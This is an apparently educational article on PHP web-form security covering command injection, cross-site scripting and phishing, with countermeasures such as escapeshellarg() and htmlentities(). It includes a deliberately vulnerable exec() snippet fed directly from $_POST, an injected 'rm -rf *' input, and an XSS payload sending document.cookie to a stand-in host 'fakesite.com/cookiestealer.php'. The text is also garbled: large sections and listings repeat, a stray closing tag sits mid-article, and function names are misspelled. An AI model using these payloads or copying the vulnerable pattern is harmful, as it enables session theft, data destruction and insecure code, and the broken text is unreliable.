It's a growing trend that as more and more services are placed on-line, we rely more and more on entering our data into what we trust as being secure web-forms. Has it ever crossed our minds though, that we enter all our information into web forms almost daily -- assuming that no one else will have access to such information. In what can be likened to the Wild West, there can't be any room for complacency on the internet. It's this idea of complacency that plays a major role in why authentication and access control measures have become so important. In this article we will look at three potential attacks that can be mounted against web forms and how they can be avoided using the PHP programming language -- executing shell commands, cross-site scripting, and phishing. Similarly, we will discuss the counter measures that can be used to avoid being hit by such attacks.
"Forming" the Attack
The first attack we are going to discuss is the use of passing shell commands in web-forms. For the most part, this is only possible when using the exec() or system() functions in PHP. These functions -- simply put -- allow developers or users to pass and execute shell commands from the command line through PHP. More so, these functions don't check what is being passed to them, they simply execute the commands they are given. For example if we were to use an exec() function to pass something to the command line -- a value of sorts -- it would be possible to append an extra command at the end -- assuming the site wasn't validating user input of course as we will see how this works shortly. Doing so would make a seemingly innocent application, most likely written out of convenience, into an attacker's tool capable of doing untold damage to the files on your server. In listing 1 we see the code that could be used to accomplish such an attack.
[Figure 1: Passing rm shell command to exec() function]
As we can see, the corresponding value for the form is entered "as usual" -- however -- the "rm -rf *" shell command was also appended to the end. In doing so, the attacker has now successfully deleted every file within the directory that houses the PHP script containing the exec() function. Having viewed an image of how the attack might take place, let's look at the code in order to understand its "under the hood" aspects.
[Listing1: HTML form code]
<html>
<head>
<title>A Simple HTML Form</title>
[Listing1: HTML form code]
<html>
<head>
<title>A Simple HTML Form</title>
</head>
<body>
<form action="" method="">
<body>
<form action="" method="">
<table border="0">
<tr><td>Enter value:<input type="text" name="value" /></td></tr>
<tr><td><input type="submit" value="Enter" /></td></tr>
</table>
</form>
</body>
</html>
[Listing 2: PHP process code]
<?php
$getValue = $_POST["value"];
exec("usr/bin/some_command_line_app" . $getValue);
?>
Looking at the previously listed code, it's obvious that if this were an actual program or a perfect world nothing would seem out of place. We are writing a simple web-form, the processing code in PHP, and using an exec() function to pass a value to the command line. As we are not in a perfect world, the problem begins when we don't "sanitize" the user's input. Such a simple action can lead to pretty hefty consequences as was just demonstrated. Yet this said, there are some steps that can be taken to avoid such malicious shell commands from being executed through your web-forms.
Moving from malicious shell commands to malicious code, cross-site scripting is the next attack we will be looking at. In this case, the attacker is entering malicious code into a web-form within a website in order to get unintended results. One reason why cross site scripting is such a growing attack vector is because of it's ability to steal cookies. In doing so, the attacker is then capable of stealing login information including usernames and passwords. Considering this possibility, let's assume that the attacker was able to find a website that was vulnerable to cross site scripting attacks. The attacker would then pass malicious code similar to what we see in listing 3.
[Listing 3: Malicious Cross Site Scripting Code]
<script>
document.location =
"http://www.fakesite.com/cookiestealer.php?cookie=" + document.cookie;
</script>
The code in listing 3 would essentially pass cookie data to a fake website and PHP script capable of logging all of the cookies' contents -- most likely to a database or text file of sorts. Remembering the fact that we are talking about a website that is not validating user input into its web-form, this is a major problem. Having such information means that the attacker is now capable of masquerading as any of the now victims who had their information stollen. This also gives the attacker the ability to have added access to the website seeing as how he or she is now able to log in which subsequently means they can now deface the website more easily
The code in listing 3 would essentially pass cookie data to a fake website and PHP script capable of logging all of the cookies' contents -- most likely to a database or text file of sorts. Remembering the fact that we are talking about a website that is not validating user input into its web-form, this is a major problem. Having such information means that the attacker is now capable of masquerading as any of the now victims who had their information stollen. This also gives the attacker the ability to have added access to the website seeing as how he or she is now able to log in which subsequently means they can now deface the website more easily.
Finally, we have the phishing attack. Phishing attacks are different from the previously mentioned attacks in that they victimize a website by maintaining similar HTML and CSS formatting but use a completely different PHP script -- for example. Basically, this allows the attacker to use the PHP language against itself in that he or she is able to get the same values from the form, but use the script for the purposes of storing the now stollen information usually in a database, text file, or to simply email it all back to the attacker. The danger of such an attack increases though, because the front end of the victimized website is pretty much exactly the same as the legitimate version meaning that users have a harder time telling the difference.
Countering The Attacker
We've looked at the attacks, we gone through the code, now the time has come to discuss the counter measures to be used so as to avoid these kinds of attacks. Let's first consider an attack using malicious shell commands. In order to stop this kind of attack we have to use a couple of PHP functions -- esecapeshellarg() and esecapeshellcmd(). Looking at the escpaseshellarg() function first, this function essentially delimits arguments passed to it with single quotes but also escapes quotes that might be present within the string argument itself.
This function ensures that when arguments are passed to the function, they are converted into a single argument. In doing so, we are more able to prevent malicious shell commands from being appended to the end of any arguments being passed to exec() or system(). A similar function -- escapeshellcmd() -- works by dealing with shell program names rather than shell arguments and escapes shell meta-characters that might be found in the argument. So to reconsider our malicious input from figure 1, the escapeshellcmd() function would escape the ; and * characters respectively which would in turn render the entire argument useless as it wouldn't make sense to the command line.
Let's now shift our focus to that of cross-site scripting. Seeing as how we are inputting malicious code into web-forms that can contain tags of some sort, there are two functions that can be used to avoid HTML tags being executed by the browser -- htmlentities() and strip_tags(). The htmlentities() function will basically convert characters that have meaning in HTML -- < and > for example. If we return to our cross-site scripting example and happened to have passed the attacker's input into the htmlentites() function, the <script> tags would have been converted as "<scriptgt;" instead. Thus the attacker's code would now no longer function as he or she would expect it to. But because we can't assume that simply rendering HTML tags useless is enough to stop a more enterprising attacker, the strip_tags() function takes it a step further. Instead of converting characters, the strip_tags() function does what its namesake suggests, it removes HTML tags completely from the attacker's input.
And as we finally turn our attention to phishing attacks, it should be pointed out that there is no single function with which protection can be granted. The problem with phishing attacks is that similar, if not the same, HTML code is used to trick the user into thinking that they are navigating to the same website while an entirely different PHP script is used to essentially steal the user's personal information. On that note though, it's possible for the attacker to use cross-site scripting in order to re-direct the user to the victimized website where the attacker can then steal their information. This means that it's quite possible to stop one attack while avoiding another as would be the case with guarding against cross-site scripting in order to protect against phishing.
Yet, considering the fact that attackers are growing in technical complexity, it has become the job of the developer to secure his or her website in a way that doesn't allow their user's information to be compromised. Using the techniques we discussed above will be a start in the right direction, but it comes down to strong development practices in the use of supplied PHP functions, encryption, and especially education towards the website's users. Development practices won't mean a thing the second the user clicks on the bogus link in the first place. While developing more secure PHP scripts is one half of the process, ensuring the user understands the dangers of phishing attacks and the policies of the company is the other. What this means is that it needs to be made clear that the company will never send out emails requesting personal information from its users.
Conclusions
All of the above mentioned attacks are just the tip of the iceberg. We face an internet where attacks and their attackers grow in sophistication almost daily. With the threat of malicious code not disappearing any time soon, we have to use the tools and best practices afforded to us in order to avoid becoming the next statistic. After all, if we are going to continue "converting" our lives to digital and internet integrated then securing the internet -- especially the web-forms we use -- is an inevitable necessity.
</html>
[Listing 2: PHP process code]
<?php
$getValue = $_POST["value"];
exec("usr/bin/some_command_line_app" . $getValue);
?>
Looking at the previously listed code, it's obvious that if this were an actual program or a perfect world nothing would seem out of place. We are writing a simple web-form, the processing code in PHP, and using an exec() function to pass a value to the command line. As we are not in a perfect world, the problem begins when we don't "sanitize" the user's input. Such a simple action can lead to pretty hefty consequences as was just demonstrated. Yet this said, there are some steps that can be taken to avoid such malicious shell commands from being executed through your web-forms.
Moving from malicious shell commands to malicious code, cross-site scripting is the next attack we will be looking at. In this case, the attacker is entering malicious code into a web-form within a website in order to get unintended results. One reason why cross site scripting is such a growing attack vector is because of it's ability to steal cookies. In doing so, the attacker is then capable of stealing login information including usernames and passwords. Considering this possibility, let's assume that the attacker was able to find a website that was vulnerable to cross site scripting attacks. The attacker would then pass malicious code similar to what we see in listing 3.
[Listing 3: Malicious Cross Site Scripting Code]
<script>
document.location =
"http://www.fakesite.com/cookiestealer.php?cookie=" + document.cookie;
</script>
The code in listing 3 would essentially pass cookie data to a fake website and PHP script capable of logging all of the cookies' contents -- most likely to a database or text file of sorts. Remembering the fact that we are talking about a website that is not validating user input into its web-form, this is a major problem. Having such information means that the attacker is now capable of masquerading as any of the now victims who had their information stollen. This also gives the attacker the ability to have added access to the website seeing as how he or she is now able to log in which subsequently means they can now deface the website more easily
The code in listing 3 would essentially pass cookie data to a fake website and PHP script capable of logging all of the cookies' contents -- most likely to a database or text file of sorts. Remembering the fact that we are talking about a website that is not validating user input into its web-form, this is a major problem. Having such information means that the attacker is now capable of masquerading as any of the now victims who had their information stollen. This also gives the attacker the ability to have added access to the website seeing as how he or she is now able to log in which subsequently means they can now deface the website more easily.
Finally, we have the phishing attack. Phishing attacks are different from the previously mentioned attacks in that they victimize a website by maintaining similar HTML and CSS formatting but use a completely different PHP script -- for example. Basically, this allows the attacker to use the PHP language against itself in that he or she is able to get the same values from the form, but use the script for the purposes of storing the now stollen information usually in a database, text file, or to simply email it all back to the attacker. The danger of such an attack increases though, because the front end of the victimized website is pretty much exactly the same as the legitimate version meaning that users have a harder time telling the difference.
Countering The Attacker
We've looked at the attacks, we gone through the code, now the time has come to discuss the counter measures to be used so as to avoid these kinds of attacks. Let's first consider an attack using malicious shell commands. In order to stop this kind of attack we have to use a couple of PHP functions -- esecapeshellarg() and esecapeshellcmd(). Looking at the escpaseshellarg() function first, this function essentially delimits arguments passed to it with single quotes but also escapes quotes that might be present within the string argument itself.
This function ensures that when arguments are passed to the function, they are converted into a single argument. In doing so, we are more able to prevent malicious shell commands from being appended to the end of any arguments being passed to exec() or system(). A similar function -- escapeshellcmd() -- works by dealing with shell program names rather than shell arguments and escapes shell meta-characters that might be found in the argument. So to reconsider our malicious input from figure 1, the escapeshellcmd() function would escape the ; and * characters respectively which would in turn render the entire argument useless as it wouldn't make sense to the command line.
Let's now shift our focus to that of cross-site scripting. Seeing as how we are inputting malicious code into web-forms that can contain tags of some sort, there are two functions that can be used to avoid HTML tags being executed by the browser -- htmlentities() and strip_tags(). The htmlentities() function will basically convert characters that have meaning in HTML -- < and > for example. If we return to our cross-site scripting example and happened to have passed the attacker's input into the htmlentites() function, the <script> tags would have been converted as "<scriptgt;" instead. Thus the attacker's code would now no longer function as he or she would expect it to. But because we can't assume that simply rendering HTML tags useless is enough to stop a more enterprising attacker, the strip_tags() function takes it a step further. Instead of converting characters, the strip_tags() function does what its namesake suggests, it removes HTML tags completely from the attacker's input.
And as we finally turn our attention to phishing attacks, it should be pointed out that there is no single function with which protection can be granted. The problem with phishing attacks is that similar, if not the same, HTML code is used to trick the user into thinking that they are navigating to the same website while an entirely different PHP script is used to essentially steal the user's personal information. On that note though, it's possible for the attacker to use cross-site scripting in order to re-direct the user to the victimized website where the attacker can then steal their information. This means that it's quite possible to stop one attack while avoiding another as would be the case with guarding against cross-site scripting in order to protect against phishing.
Yet, considering the fact that attackers are growing in technical complexity, it has become the job of the developer to secure his or her website in a way that doesn't allow their user's information to be compromised. Using the techniques we discussed above will be a start in the right direction, but it comes down to strong development practices in the use of supplied PHP functions, encryption, and especially education towards the website's users. Development practices won't mean a thing the second the user clicks on the bogus link in the first place. While developing more secure PHP scripts is one half of the process, ensuring the user understands the dangers of phishing attacks and the policies of the company is the other. What this means is that it needs to be made clear that the company will never send out emails requesting personal information from its users.
Conclusions
All of the above mentioned attacks are just the tip of the iceberg. We face an internet where attacks and their attackers grow in sophistication almost daily. With the threat of malicious code not disappearing any time soon, we have to use the tools and best practices afforded to us in order to avoid becoming the next statistic. After all, if we are going to continue "converting" our lives to digital and internet integrated then securing the internet -- especially the web-forms we use -- is an inevitable necessity.
